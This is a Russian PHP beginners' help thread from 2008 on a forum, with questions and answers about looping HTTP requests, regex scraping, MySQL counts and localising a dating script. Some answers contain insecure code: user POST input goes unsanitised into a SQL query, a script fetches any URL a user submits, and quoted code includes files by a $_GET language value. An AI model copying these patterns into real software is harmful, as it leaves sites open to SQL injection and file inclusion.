Просмотр полной версии : [php] Новичкам: задаем вопросы
Люди помогите пожалуйста!.. мне нужен скрипт который бы постоянно с небольшим перерывом обращался по ссылке вида http://site.ru/index.php?a=x&b=y как можно реализовать? причём результат выполнения не важен, важно только чтобы эмулировалось обращение по этой ссылке...
while(1){
$fp = fopen('ссылка','rt');
fclose($fp);
sleep(1);
}
cremator (c)
24.08.2008, 21:28
Пишет
Warning: fopen(моя ссылка) [function.fopen]: failed to open stream: Permission denied in /home/c/*******/WWW/index.php on line 5
Warning: fclose(): supplied argument is not a valid stream resource in /home/c/******/WWW/index.php on line 6
:((
Пишет
Warning: fopen(моя ссылка) [function.fopen]: failed to open stream: Permission denied in /home/c/*******/WWW/index.php on line 5
Warning: fclose(): supplied argument is not a valid stream resource in /home/c/******/WWW/index.php on line 6
:((
У тебя запрещено открытие url сервером
cremator (c)
24.08.2008, 22:06
и теперь никак не получится эмулировать обращение по этой ссылке?((( а если через header(location: ....) ?
и теперь никак не получится эмулировать обращение по этой ссылке?((( а если через header(location: ....) ?
ну например
while(true) {
file_get_contents('ссылка'); // обращаемся к файлу
sleep(1); // ждём 1 сек
}
Еще один вопросик. Как можно текст преобразовать в одну строку... К примеру в форму textarea мы вставляем
бла бла бла
бли бли бли
ой
ой
а получили
блаблаблаблиблиблиойой
Оно и будет в строке только если надо убрать переводы строки убери \n \r
Zircool
<?php
echo '
<form method="POST">
<textarea name="text" style="width: 500; height: 300">'.
(isset($_POST['text']) ? htmlspecialchars(str_replace(array("\r", "\n", " "), null, $_POST['text'])) : null)
.'</textarea><br>
<input type="submit">
</form>';
?>
Фигня какая-то. И зачем это надо?
Еще один вопросик. Как можно текст преобразовать в одну строку... К примеру в форму textarea мы вставляем
а получили
$text = str_replace(chr(10),'',$text);
$text = str_replace(chr(13),'',$text);
100 раз обсуждалось
NOmeR1 Для подсчета количества символов в тексте....
А можно и покороче)))):
$text = str_replace(array(chr(10),chr(13)),'',$text);
BlackSky
25.08.2008, 09:06
не знаю как бы правильно сформулировать вопрос, в общем имею набор ссылок:
ссылка1 ссылка2 ссылка3 ссылка4 ссылка5 ссылка6 записанных в одну переменную и надо чтобы они выводились не как строка, а ввиде 2х таблиц:
ссылка1 ссылка4
ссылка2 ссылка5
ссылка3 ссылка6
как можно реализовать такое ? :)
не знаю как бы правильно сформулировать вопрос, в общем имею набор ссылок:
ссылка1 ссылка2 ссылка3 ссылка4 ссылка5 ссылка6 записанных в одну переменную и надо чтобы они выводились не как строка, а ввиде 2х таблиц:
ссылка1 ссылка4
ссылка2 ссылка5
ссылка3 ссылка6
как можно реализовать такое ? :)
Сделай из этого массив - где каждый элемент - одна ссылка. Потом разбей на n подмассивов - где элементы каждого столбца - эт один подмассив. И выводи как те удобно.
не знаю как бы правильно сформулировать вопрос, в общем имею набор ссылок:
ссылка1 ссылка2 ссылка3 ссылка4 ссылка5 ссылка6 записанных в одну переменную и надо чтобы они выводились не как строка, а ввиде 2х таблиц:
ссылка1 ссылка4
ссылка2 ссылка5
ссылка3 ссылка6
как можно реализовать такое ? :)
2 варианта:
<?php
$sekas = 'ссылка1 ссылка2 ссылка3 ссылка4 ссылка5 ссылка6';
$a = explode(' ', $sekas);
$num = count($a);
$column = 2;
$lines = intval(ceil($num/$column));
echo '<table>';
for($i = 0; $i < $lines; $i++)
{
echo '<tr>';
for($j = 0; $j < $column; $j++)
{
echo '<td>';
$n = $j * $lines + $i;
if($n < $num)
{
echo $a[$n];
}
echo '</td>';
}
echo '</tr>';
}
echo '</table>';
//ссылка1 ссылка4
//ссылка2 ссылка5
//ссылка3 ссылка6
$sekas = 'ссылка1 ссылка2 ссылка3 ссылка4 ссылка5 ссылка6';
$a = explode(' ', $sekas);
$num = count($a);
echo '<table>';
$tr = 0;
for($i = 0; $i < $num;$i++)
{
if($tr == 0) echo '<tr>';
echo '<td>'.$a[$i]."</td>";
$tr++;
if($tr == 2)
{
echo '</tr>';
$tr = 0;
}
}
echo '</table>';
//ссылка1 ссылка2
//ссылка3 ссылка4
//ссылка5 ссылка6
?>
DiffuSer
25.08.2008, 11:33
DWORD len = mess_len + sizeof(DWORD);
memcpy(outbuffer, &len, sizeof(DWORD));
memcpy(&outbuffer[sizeof(DWORD)]], mess, mess_len);
Так выглядит формирование строки на языке C. Внимание, вопрос...
Как выглядит аналогичное формирование строки на PHP?
P.S. с нулевого по 4-й байты - длинна запроса (N + 4), с 4-го по N - текст запроса. Очень прошу помочь. Замучался. =\
<?
$mess="k\0jhdv9u-ru2jldkfv.d,mfvn'aj902ufl;kv;mvkdmv\0lvkjlvhjr\0";
$mess_len=strlen($mess)+4;
$outbuffer=chr($mess_len&0xff).chr(($mess_len&0xff00)>>8).chr(($mess_len&0xff0000)>>16).chr(($mess_len&0xff000000)>>24).$mess;
echo $outbuffer;
?>
DiffuSer
25.08.2008, 12:19
ChaaK, не разделить, а к запросу автоматический добавить его длинну в 4-х первых байтах, считая добавленные значения.
.:EnoT:.
25.08.2008, 15:24
никак допереть не могу как постичать количество вызовов какой-либо функции в скрипте:
Предположим есть какой-то скрипт:
<?php
$a = rand(1, 9);
$b = rand(20, 30);
$c = rand(40, 50);
$d = rand(60, 70);
echo 'Количество вызовов функции rand() - ...';
?>
как это сделать?
никак допереть не могу как постичать количество вызовов какой-либо функции в скрипте:
Предположим есть какой-то скрипт:
<?php
$a = rand(1, 9);
$b = rand(20, 30);
$c = rand(40, 50);
$d = rand(60, 70);
echo 'Количество вызовов функции rand() - ...';
?>
как это сделать?
<?php
$func = 'rand';
$f = file_get_contents(str_replace('/','',$_SERVER["SCRIPT_NAME"]));
rand(1,3);
rand(1,3);
rand(1,3);
rand(1,3);
preg_match_all('#'.$func.'\([0-9\,]+\)#',$f,$ar);
$ar = $ar['0'];
$count = count($ar);
echo 'Количество функций rand() - '.$count;
?>
ПЫЩЬ!!11111
написал скрипт добавления группы там несколько полей название цвет и тд тп
заполняю все поля отправляю все проходит нормально но если обновить страницу с формой добавления группы то добавитья еще одна группа запрос передается постом
как от этой фигни избавиться дописать проверку на пустые поля?
написал скрипт добавления группы там несколько полей название цвет и тд тп
заполняю все поля отправляю все проходит нормально но если обновить страницу с формой добавления группы то добавитья еще одна группа запрос передается постом
как от этой фигни избавиться дописать проверку на пустые поля?
Сам задал вопрос и сам же на него ответил :)
Вот например:
<form action="<?=$PHP_SELF?>" method="POST">
<input type="text" name="check" size="50"></td>
<input type="submit" value="Отправить" name="B1">
</form>
<?
if ($_POST['check'] <> '') {
Echo "Работает! :D";
} else {
echo "Заполните все поля :D"; }
?>
.:EnoT:.
25.08.2008, 17:17
ChaaK, спасибо, а я пытался строковыми функциями посчитать количество вхождений)) не допёрло взять страницу и регуляркой отпарсить))
написал скрипт добавления группы там несколько полей название цвет и тд тп
заполняю все поля отправляю все проходит нормально но если обновить страницу с формой добавления группы то добавитья еще одна группа запрос передается постом
как от этой фигни избавиться дописать проверку на пустые поля?
нет, нужно использовать переадресацию, т.к. если обновить страницу, то данные отправляются заново..
Подскажите скрипт для запрета всплывающих ошибок - окон.
Например у меня в начале странице есть
<script>alert('AXTUNG!');</script>
Мне нужно запретить его, чтобы юзер его не видел.
Большое Спасибо!
BlackSun
25.08.2008, 22:53
Подскажите скрипт для запрета всплывающих ошибок - окон.
Например у меня в начале странице есть
<script>alert('AXTUNG!');</script>
Мне нужно запретить его, чтобы юзер его не видел.
Большое Спасибо!
Дастиш олбанишь:
<noscript><script>alert('AXTUNG!');</script></noscript>
Дастиш олбанишь:
<noscript><script>alert('AXTUNG!');</script></noscript>
хм... Не катит!
Вот у меня такой код:
www.halfkeys.tut.su/java.txt (http://www.halfkeys.tut.su/java.txt)
Ткните пальцем где этот код выводит сообщение:
This code of QuickMenu has not been purchsed. (www.opencube.com)
Как загрузить файл через спец. форму как к примеру на rapidshare.com
с помощью курл?
Как загрузить файл через спец. форму как к примеру на rapidshare.com
с помощью курл?
вот http://www.php.su/phphttp/?uploads
и вот http://www.php.su/articles/?cat=protocols&page=001
Помогите с регуляркой... Нужно грабить текст, который находится между тегами <index> текст </index>... Написал такой скрипт..
<form method="POST">
<br /> <br />
<input type="text" size="50" name="url" value="http://">
<input type="submit" name="sub" value=" Go ">
<form>
</div>
<font size="2" color="#777777">
Countchars © 2008
</body>
</html>
<?php
if (isset($_POST['sub']))
{
$url=$_POST['url'];
$result=file_get_contents($url);
preg_match("#<index>(.*?)</index>#",$result,$text);
echo $text[0];
}
Пример сайта имеющий теги <index> http://radiopupil.com/shem/index.php Но не грабит скрипт, в чем проблема в регулярке?
Помогите с регуляркой... Нужно грабить текст, который находится между тегами <index> текст </index>... Написал такой скрипт..
<form method="POST">
<br /> <br />
<input type="text" size="50" name="url" value="http://">
<input type="submit" name="sub" value=" Go ">
<form>
</div>
<font size="2" color="#777777">
Countchars © 2008
</body>
</html>
<?php
if (isset($_POST['sub']))
{
$url=$_POST['url'];
$result=file_get_contents($url);
preg_match("#<index>(.*?)</index>#",$result,$text);
echo $text[0];
}
Пример сайта имеющий теги <index> http://radiopupil.com/shem/index.php Но не грабит скрипт, в чем проблема в регулярке?
проверь содержание массива print_r($text)
.:EnoT:.
25.08.2008, 23:52
Как загрузить файл через спец. форму как к примеру на rapidshare.com
с помощью курл?
можно курлом, можно сокетами...помница делал я для слил.ру такой.
Смотри какие заголовки и отправляй))
и не забудь про:
Content-type: multipart/form-data и file_get_contents($file) и вроде ещё md5() файла передавать надо.
Если я конечно правильно понял твои желания))
Zircool
попробуй так:
preg_match('#<index>(.+)<\/index>#Us', $result, $text);
preg_match('#<index>(.*?)<\/index>#isU', $result, $text);
Ребята помогите!
Есть такой скрипт vldPersonals 2.1.0 знакомств! Так вот у него локализация русская есть вроде полная но работает не всё проверял на синтаксис вроде ошибок не нашел! и ещё регистрация на руском не работает первый шаг тока помогите плиз :confused: !
Ищи другую руссификацию, эта значит не полная, мы тебе чем должны помочь? За тебя все найти? Цвет не вздумай больше такой ставить
Ищи другую руссификацию, эта значит не полная, мы тебе чем должны помочь? За тебя все найти? Цвет не вздумай больше такой ставить
Проблема не в русификации я её скачал офф сервера! в ней как я сказал всё переведено но всё равно некотыры вещи например поля login на английском хотя в русификации как я смотрел оно переведено! В чем могет быть проблема? :confused:
Спрашивай на форуме двига, тут не энциклопедия, если там все норм значит ты кривой читай мануалы
lang.cp.login.php
<?php
$LANG['login'] = array (
"app_page" =>
"Регистрационное имя",
"username" =>
"Имя пользователя",
"password" =>
"Пароль",
"login" =>
"Вход в систему",
"remember_me" =>
"Запомнить меня",
"submit" =>
"Отослать",
"lockedout" =>
"Вы превысили дозволенное количество попыток войти в систему. Пожалуйста, попробуйте еще раз через %минут% минут.",
"invalid_login" =>
"Имя пользователя или пароль неверные.",
);
?>
и вот такой
lang.lib.login.php
$LANG['login'] = array (
"app_page" =>
"Логин",
"frm_login" =>
"Логин",
"username" =>
"Имя пользователя",
"password" =>
"Пароль",
"remember_me" =>
"Запомнить",
"submit" =>
"Отправить",
"forgot_password" =>
"Вспомнить пароль?",
"new_user" =>
"Новый Пользователь?",
"profile" =>
"Моя анкета",
"pictures" =>
"Фото",
"messages" =>
"Письма",
"lockedout" =>
"Вы достигли максимальных попыток. Попробуйте снова через %minutes% минут..",
"invalid_login" =>
"Неверный
логин или пароль.",
"logged_in" =>
"Добро пожаловать.",
);
?>
А на главной показывает на английском?
Чайник он всегда чайник :d юзай теги [пхп] и иди на офф форум, то что ты выложил мне ни очем не говорит
Чайник он всегда чайник :d юзай теги [пхп] и иди на офф форум, то что ты выложил мне ни очем не говорит
Кто из нас ещё чайник? (((= Мне под другим аком зайти чтоли! Я прошу не разобраться в этом коде, я показываю фрагменты перевода ошибок в синтаксе нету же?
На офф сервере ничего подобного нет и форума на руском подержки этого скрипта не где нет и на него оди русик тока во всём инете!
А вот мой вопрос в чем могет быть причина?
Ответ пример: (могет в этом а могет в этом)
Могет деся?
//------------------------------------------------
// Includes
//------------------------------------------------
include_once SYS_PATH.'includes/languages/' . SYS_LANG . '/lang.cp.login.php';
//------------------------------------------------
// Set template file
//------------------------------------------------
$TEMPLATE->set_template('login.tpl');
//------------------------------------------------
// Assign template vars
//------------------------------------------------
$TEMPLATE->assign('app_page', htmlentities2utf8($LANG['login']['app_page']));
То что я красным отметил это чтоза функция?
Поищи откуда берется константа sys_lang, здесь все нормально, извини если че
Помоему здесь:
<!-- IF loggedin == "0" -->
<div id="loginbox">
<form method="post" name="loginform" action="{virtual_path}{ifelse:system_enable_fancy_urls,"1","login/index.html","index.php?m=login"}">
<table cellspacing="0" cellpadding="0" class="loginbox">
<tr><td>Username</td></tr>
<tr><td><input maxlength="24" size="10" style="width: 140px;" type="text" name="username" value="" class="inputText" /></td></tr>
<tr><td>Password</td></tr>
<tr><td><input maxlength="24" size="10" style="width: 140px;" type="password" name="password" value="" class="inputText" /></td></tr>
<tr><td>Remember me?</td></tr>
<tr><td><select name="nonxpcookie" class="inputCombo"><option value="1">Yes</option><option value="0">No</option></select></td></tr>
<tr><td><input type="submit" name="login" value="Login" class="inputLogin" /></td></tr>
<tr><td><a href="{virtual_path}{ifelse:system_enable_fancy_urls,"1","lostpassword/index.html","index.php?m=lostpassword"}">Forgot password?</a></td></tr>
</table>
<input type="hidden" name="islogin" value="1" />
</form>
</div>
<!-- ELSE -->
Я прав?
Помоему здесь:
<!-- IF loggedin == "0" -->
<div id="loginbox">
<form method="post" name="loginform" action="{virtual_path}{ifelse:system_enable_fancy_urls,"1","login/index.html","index.php?m=login"}">
<table cellspacing="0" cellpadding="0" class="loginbox">
<tr><td>Username</td></tr>
<tr><td><input maxlength="24" size="10" style="width: 140px;" type="text" name="username" value="" class="inputText" /></td></tr>
<tr><td>Password</td></tr>
<tr><td><input maxlength="24" size="10" style="width: 140px;" type="password" name="password" value="" class="inputText" /></td></tr>
<tr><td>Remember me?</td></tr>
<tr><td><select name="nonxpcookie" class="inputCombo"><option value="1">Yes</option><option value="0">No</option></select></td></tr>
<tr><td><input type="submit" name="login" value="Login" class="inputLogin" /></td></tr>
<tr><td><a href="{virtual_path}{ifelse:system_enable_fancy_urls,"1","lostpassword/index.html","index.php?m=lostpassword"}">Forgot password?</a></td></tr>
</table>
<input type="hidden" name="islogin" value="1" />
</form>
</div>
<!-- ELSE -->
Я прав?
Ну судя по тегам, это и есть..
<tr><td>Username</td></tr>
<tr><td>Password</td></tr>
<tr><td>Remember me?</td></tr>
<tr><td><a href="{virtual_path}{ifelse:system_enable_fancy_urls,"1","lostpassword/index.html","index.php?m=lostpassword"}">Forgot password?</a></td></tr>
Всем спасибо один вопрос решил, в пред идущем коде то что я отпечатал в header.tpl на прямую вбиты название полей модуля login, я поправил их на русский и прокатило ! А второй нет! (((( Не работает регистрация на русском? В админке пишет неверный id группы? Здеся по труднее чем в первом вопросе! Есть добровольцы кто поможет отпешите вышлю на мыло скрипт?
Опять проблема с регуляркой...
Нужно все строки вида <table width="10" border="0" cellpadding="0" cellspacing="1"> заменить на null, но дело в том что тег таблиц меняется, он может быть <table width="10" cellspacing="1" border="0" cellpadding="0" > а может быть и <table width="10" cellspacing="1" cellpadding="0" > и т.д. заменяю через ereg_replace Вот так у меня получилось
$sitetext=ereg_replace("#<td (.*?)>#i","",$sitetext);
Но к сожалению вылетает ошибка
Warning: ereg_replace() [function.ereg-replace]: REG_BADRPT in Z:\home\localhost\www\count\countsite.php on line 75
Ха разобрался спасибо всем! Там оказывается ошибку не выводило при регистрации на неё перевода небыло я перевел аказывается два раза с одного ip незя региться! ХА! Круто! разобрался!
echo preg_replace('/<table ((width="10"|border="0"|cellspacing="1"|cellpadding="0")\s*){1,4}>/i','',$file);
Вопрос!
Есть такая таблица в базе members! в ней хронятся юзеры! Как зделатьтак чтоб юзеры считались и выводилось количество этих узеров на стронице! Заметте количество они сами юзеры!??
SELECT COUNT(*) AS memb FROM members
SELECT COUNT(*) AS memb FROM members
Это надо новую таблицу memb создовать?
К примеру
1. Создать таблицу memb она будет хранить число пользователей!
2. Создать файл пхп к примеру stats.php в нем описать
1.1 присоединиться к базе 2.1 создать переменую sta и присвоеть ей значение memb.
3.1 На главной index.php вывести результат!
Так???
неет ... это просто название по которому сможеш полуить количество ....
не нада новую таблицу
Так значит это в пхп надо прописывать?
если могешь пример малый от фуфла накидай?
<?php
/*
Конект к БД
*/
$res = mysql_query("SELECT COUNT(*) AS membo FROM members");
$assoc = mysql_fetch_assoc($res);
echo $assoc['membo'];
?>
<?php
/*
Конект к БД
*/
$res = mysql_query("SELECT * FROM `members`");
$count = mysql_num_rows($res);
echo $count;
?>
Isis твой пример медленее он выбирает все данные а потом ты cчитаеш их .. а мой только подсчитывает...
Как к каждому элементу ассоциативного массива, применить функцию iconv() ?
пробывал array_walk(), но я в ней не понял как указывать перегрузки.
<?php
$sqlhost="localhost";
$sqluser="vlada";
$sqlpass="528872";
$db="vlada";
mysql_connect($sqlhost,$sqluser,$qlpass) or die("MySQL не доступен".mysql_error());
$res = mysql_query("SELECT COUNT(*) AS membo FROM vlad_members");
$assoc = mysql_fetch_assoc($res);
echo $assoc['membo'];
?>
Правильно?
Но это выводит в этом же файле я а хочу чтоб это выводилось на главной странице index.php а скрипт то что выше без echo был в файле к примеру stats.php!
как это зделать и что писатьв index.php?
во 1 ты забыл mysql_select_db
во 2 иннклюжь stats.php в index.php токо еси в индексе уже есть конект к базе то не нужно конектится опять в стат . пхп
<?
$asd = array("asd","dfg", "ghj","hjk");
function my_func(&$item)
{
$item=iconv("ISO-8859-1", "UTF-8", $item);
}
array_walk($asd, 'my_func');
?>
во 1 ты забыл mysql_select_db
во 2 иннклюжь stats.php в index.php токо еси в индексе уже есть конект к базе то не нужно конектится опять в стат . пхп
Пед чем или после чего встовлять mysql_select_db?
geforce ты про mysql_select_db?
после
mysql_connect($sqlhost,$sqluser,$qlpass) or die("MySQL не доступен".mysql_error());
stats.php
<?php
require_once('connect.php');
$res = mysql_query("SELECT COUNT(*) AS membo FROM vlad_members");
$assoc = mysql_fetch_assoc($res);
?>
index.php
<?
echo $assoc['stats.php'];
?>
Вот так?
stats.php
<?php
$sqlhost="localhost";
$sqluser="vlada";
$sqlpass="528872";
$db="vlada";
mysql_connect($sqlhost,$sqluser,$qlpass) or die("MySQL не доступен".mysql_error());
mysql_select_db($db);
$res = mysql_query("SELECT COUNT(*) AS membo FROM vlad_members");
$assoc = mysql_fetch_assoc($res);
?>
index.php
<?php
require_once('stat.php');
echo $assoc['membo'];
?>
Doom123, вариация на тему:
<?
$asd = array("UTF-8"=>array("aaa","bbb","ccc"),"ISO-8859-1"=>array("dfg"));
function my_func(&$item,$key)
{
for($i=0;$i<count($item);$i++)
$item[$i]=iconv("ISO-8859-1", $key, $item[$i]);
}
array_walk($asd, 'my_func');
?>
stats.php
<?php
$sqlhost="localhost";
$sqluser="vlada";
$sqlpass="528872";
$db="vlada";
mysql_connect($sqlhost,$sqluser,$qlpass) or die("MySQL не доступен".mysql_error());
mysql_select_db($db);
$res = mysql_query("SELECT COUNT(*) AS membo FROM vlad_members");
$assoc = mysql_fetch_assoc($res);
?>
index.php
<?php
require_once('stat.php');
echo $assoc['stats.php'];
?>
У меня :
stats.php
[QUOTE]
<?php
require 'includes/config.php';
$res = mysql_query("SELECT COUNT(*) AS membo FROM vlad_members");
$assoc = mysql_fetch_assoc($res);
?>
Index.php
<?php
//------------------------------------------------
// Start session and turn off runtime magic quotes
//------------------------------------------------
session_start();
set_magic_quotes_runtime(0);
//------------------------------------------------
// Turn off script execution time limit
//------------------------------------------------
if (function_exists('set_time_limit') == 1 && @ini_get('safe_mode') == 0) @set_time_limit(0);
//------------------------------------------------
// Fetch config file
//------------------------------------------------
require 'includes/config.php';
if (!isset($conf)) exit('The system does not appear to be installed.');
//------------------------------------------------
// Set error reporting to "ALL" if specified in the config file
//------------------------------------------------
if ($conf['debug'] == 2) error_reporting(E_ALL);
//------------------------------------------------
// Define paths
//------------------------------------------------
define ('SYS_PATH', $conf['system_path']);
define ('SYS_PIC_PATH', $conf['system_pic_path']);
define ('SYS_TPL_PATH', $conf['system_tpl_path']);
define ('SYS_LICENSE', $conf['license_number']);
define ('VIR_PATH', $conf['virtual_path']);
define ('VIR_CP_PATH', $conf['virtual_cp_path']);
define ('VIR_PIC_PATH', $conf['virtual_pic_path']);
define ('VIR_TPL_PATH', $conf['virtual_tpl_path']);
define ('DB_PREFIX', $conf['db_prefix']);
define ('TN_PREFIX', $conf['thumbnail_prefix']);
//------------------------------------------------
// Instantiate the Benchmark class
//------------------------------------------------
include SYS_PATH . 'includes/core/core.benchmark.php';
$BM = new Benchmark();
$BM->set_pointer('start_engine');
//------------------------------------------------
// Include functions
//------------------------------------------------
include SYS_PATH . 'includes/fns/fns.misc.php';
//------------------------------------------------
// Instantiate the database class
//------------------------------------------------
include SYS_PATH . 'includes/core/core.mysql.php';
//------------------------------------------------
// Instantiate the cache class
//------------------------------------------------
include SYS_PATH . 'includes/core/core.cache.php';
//------------------------------------------------
// Instantiate the preferences class
//------------------------------------------------
include SYS_PATH . 'includes/core/core.prefs.php';
//------------------------------------------------
// Define time
//------------------------------------------------
define ('SYS_TIME', $PREFS->conf['timezone']);
//------------------------------------------------
// Instantiate the session class
//------------------------------------------------
include SYS_PATH . 'includes/core/core.session.php';
//------------------------------------------------
// Instantiate the template class
//------------------------------------------------
include SYS_PATH . 'includes/core/core.template.php';
$TEMPLATE->ext_dir = 'includes/ext/';
$TEMPLATE->tpl_dir = SYS_TPL_PATH . $PREFS->conf['template'] . '/';
$TEMPLATE->cpl_dir = SYS_TPL_PATH . $PREFS->conf['template'] . '/tmp/';
//------------------------------------------------
// Authenticate user
//------------------------------------------------
if ($SESSION->login() || $SESSION->is_loggedin())
{
//------------------------------------------------
// Set default session
//------------------------------------------------
$TEMPLATE->assign("logged_in", 1);
//------------------------------------------------
// Set default session values
//------------------------------------------------
$SESSION->conf['template'] = $PREFS->conf['override_template'] ? $PREFS->conf['template'] : $SESSION->conf['template'];
$SESSION->conf['language'] = $PREFS->conf['override_language'] ? $PREFS->conf['language'] : $SESSION->conf['language'];
//------------------------------------------------
// Set default template
//------------------------------------------------
$TEMPLATE->assign("template", $SESSION->conf['template']);
//------------------------------------------------
// Reset default template paths
//------------------------------------------------
$TEMPLATE->tpl_dir = SYS_TPL_PATH . $SESSION->conf['template'] . '/'; // templates path
$TEMPLATE->cpl_dir = SYS_TPL_PATH . $SESSION->conf['template'] . '/tmp/'; // compiled templates path
$LANG = array();
if ( isset($_GET['language']) || isset($_SESSION['custlanguage']) ) {
if ( isset($_GET['language']) ) {
$_SESSION['custlanguage'] = $_GET['language'];
}
$SESSION->conf['language'] = $_SESSION['custlanguage'];
$PREFS->conf['language'] = $_SESSION['custlanguage'];
}
//------------------------------------------------
// Set language
//------------------------------------------------
define ('SYS_LANG', $SESSION->conf['language']);
include_once SYS_PATH . 'includes/languages/' . SYS_LANG . '/lang.core.php';
}
else
{
//------------------------------------------------
// Set default session
//------------------------------------------------
$TEMPLATE->assign("logged_in", 0);
//------------------------------------------------
// Set default session values
//------------------------------------------------
$SESSION->conf['member_id'] = 0;
$SESSION->conf['template'] = $PREFS->conf['template'];
$SESSION->conf['language'] = $PREFS->conf['language'];
$SESSION->conf['timezone'] = $PREFS->conf['timezone'];
$SESSION->conf['timeformat'] = $PREFS->conf['timeformat'];
$LANG = array();
if (isset($_GET['language']) || isset($_SESSION['custlanguage']) ) {
if ( isset($_GET['language']) ) {
$_SESSION['custlanguage'] = $_GET['language'];
}
$SESSION->conf['language'] = $_SESSION['custlanguage'];
$PREFS->conf['language'] = $_SESSION['custlanguage'];
}
//------------------------------------------------
// Set default language
//------------------------------------------------
define ('SYS_LANG', $PREFS->conf['language']);
include_once SYS_PATH . 'includes/languages/' . SYS_LANG . '/lang.core.php';
}
//-----------------------------------------------------
// Assign session defaults
//-----------------------------------------------------
$TEMPLATE->set_session_defaults();
//------------------------------------------------
// Include functions selector
//------------------------------------------------
include SYS_PATH . 'includes/lib.php';
//-----------------------------------------------------
// Display global message
//-----------------------------------------------------
$TEMPLATE->output_message();
//-----------------------------------------------------
// Output our template
//-----------------------------------------------------
$BM->set_pointer('start_template');
$template = $TEMPLATE->result();
$BM->set_pointer('end_template');
header('Content-Type: text/html; charset=utf-8');
echo $template;
$BM->set_pointer('end_engine');
require_once('stats.php');
echo $assoc['stats.php'];
//------------------------------------------------------------
// Disconnect from the database
//------------------------------------------------------------
$DB->disconnect_db();
?>
Ничего не выводит!
Что делать?
Помогите мне)
Нужно сделать чтобы к примеру
$menu = 'тададада';
В шаблоне выводилось как {menu} как в дле
Я так понял это через str_replace но непонял как )
$_menu = str_replace ( "%MENU%", $MENU, $_menu );
$_menu = str_replace ( "%MENU%", $MENU, $_menu );
что-то у меня не получается. в index.php выводится просто {MENU}
может еще что нада, подскажи..
Начинаю учить php+mysql:
Подскажите как сделать таблицу вида:
_______________________________________________
| Колонка1 | Колонка2 | Колонка3 | Колонка4 | Колонка5 |
----------------------------------------------------------------------------
| Эл.1 | Эл.2 | Эл.3 | Эл.4 | Эл.5 |
----------------------------------------------------------------------------
Нужен скрипт Сщёчика аккаутов! Попробывал напимать но к сожелению он не работает!
stats.php
<?php
require 'includes/config.php';
$res = mysql_query("SELECT COUNT(*) AS membo FROM vlad_members");
$assoc = mysql_fetch_assoc($res);
?>
index.php
require_once('stats.php');
echo $assoc['stats.php'];
Ничего не выводит! Кто сталкивался с такой проблемой помогите плиз?
мля ! =) не echo $assoc['stats.php'];
а echo $assoc['membo'];
я допустил там ошибку :rolleyes:
OnArs что за эл? это тоже колонка или даные в колонке
OnArs, http://dev.mysql.com/doc/refman/5.1/en/create-table.html
Нужен скрипт Сщёчика аккаутов! Попробывал напимать но к сожелению он не работает!
stats.php
<?php
require 'includes/config.php';
$res = mysql_query("SELECT COUNT(*) AS membo FROM vlad_members");
$assoc = mysql_fetch_assoc($res);
?>
index.php
require_once('stats.php');
echo $assoc['stats.php'];
Ничего не выводит! Кто сталкивался с такой проблемой помогите плиз?
Подключение к db не забываешь? Таблицу выбрал?
P.s. Заюзай
echo "ERROR ".mysql_errno()." ".mysql_error()."\n";
для вывода ошибок MySQL, мб дело в ней :confused:
==================
Есть ли в MySQL тип данных который принимает только два значения False и True ?
мля ! =) не echo $assoc['stats.php'];
а echo $assoc['membo'];
я допустил там ошибку :rolleyes:
OnArs что за эл? это тоже колонка или даные в колонке
Спасибо тебе ;)
Есть ли в MySQL тип данных который принимает только два значения False и True ?
BOOL
С Таблицами разобрался! Большое Спасибо!
P.s. Щас буду учиьтся писать в них, выводить их и сравнивать...
Помогите мне)
Нужно сделать чтобы к примеру
$menu = 'тададада';
В шаблоне выводилось как {menu} как в дле
Я так понял это через str_replace но непонял как )
http://www.smarty.net/manual/ru/ ;)
Все пишут переходим на курл, переходим на курл зайдите плз мануал по нем
Все пишут переходим на курл, переходим на курл зайдите плз мануал по нем
http://phpclub.ru/detail/article/curl
.:EnoT:.
26.08.2008, 23:51
не слушай их)
Каждый выбирает для себя курл или сокеты....я например пользуюсь и тем и тем, зависит от конкретной задачи. Хорошей документации по курлу я к сожалению не видел. Есть доки, но мне лично не понравились, уж очень скользко там всё описано.
тем более что скорость работы сокетов и курла практически одинакова.
Вот пару ссылок, чисто для развития
http://phpclub.ru/detail/article/curl
http://omsk777.ru/all.php?act=php_curl
http://php.rinet.ru/manual/ru/function.curl-setopt.php
Есть массив вида:
Array
(
[0] => Array
(
[0] => число 1
[1] => число 2
)
[1] => Array
(
[0] => текст 1
[1] => текст 2
)
[2] => Array
(
[0] => число 1
[1] => число 2
)
[3] => Array
(
[0] => текст 1
[1] => текст 2
)
//и т.д
)
нужно чтобы имел вид:
Array
(
[0] => Array
(
[0] => число 1
[1] => число 2
[2] => число 1
[3] => число 2
)
[1] => Array
(
[0] => текст 1
[1] => текст 2
[2] => текст 1
[3] => текст 2
)
)
Т.е все значения из первой группы были с первой группой, также со второй.
$array = array(array_merge($array[0],$array[1]),array_merge($array[2],$array[3]));
тьфу перепутал
$array = array(array_merge($array[0],$array[2]),array_merge($array[1],$array[3]));
function merge($array)
{
$i=0;
while(isset($array[$i]))
{
$newarr[0] = array_merge($array[$i],$newarr[0]);
$i++;
if(isset($array[$i]))
$newarr[1] = array_merge($array[$i],$newarr[1]);
$i++
}
return $newarr;
}
~NeiTRoN~
27.08.2008, 18:17
Народ помогите кто может. Тут возникла такая необходимость в скрипте. Суть скрипта такая. Имеется таблица в базе, скажем table.В ней 4 строки, id,url,header,content.
Нужен скрипт который будет искать в строке content текст полученый постом из формы и выводить в таблицу все совпавшие страницы!!!
~NeiTRoN~
<?php
mysql_connect("localhost", "mysql_user", "mysql_password");
mysql_select_db("mydb");
$result = mysql_query("SELECT id,url,header,content FROM table WHERE content LIKE '%".$_POST['stroka']."%'");
echo "<table>\r\n";
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
printf ("<tr><td>%s</td><td>%s</td><td>%s</td><td>%s</td></tr>\r\n", $row["id"], $row["url"], $row["header"],$row["content"] );
}
echo "</table>\r\n";
mysql_free_result($result);
?>
~NeiTRoN~
27.08.2008, 20:15
~NeiTRoN~
<?php
mysql_connect("localhost", "mysql_user", "mysql_password");
mysql_select_db("mydb");
$result = mysql_query("SELECT id,url,header,content FROM table WHERE content LIKE '%".$_POST['stroka']."%'");
echo "<table>\r\n";
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
printf ("<tr><td>%s</td><td>%s</td><td>%s</td><td>%s</td></tr>\r\n", $row["id"], $row["url"], $row["header"],$row["content"] );
}
echo "</table>\r\n";
mysql_free_result($result);
?>
Спасибо, только есть одна проблема.
В базе такие записи
id url header content
1 asd asd asd
2 qwe qwe qwe
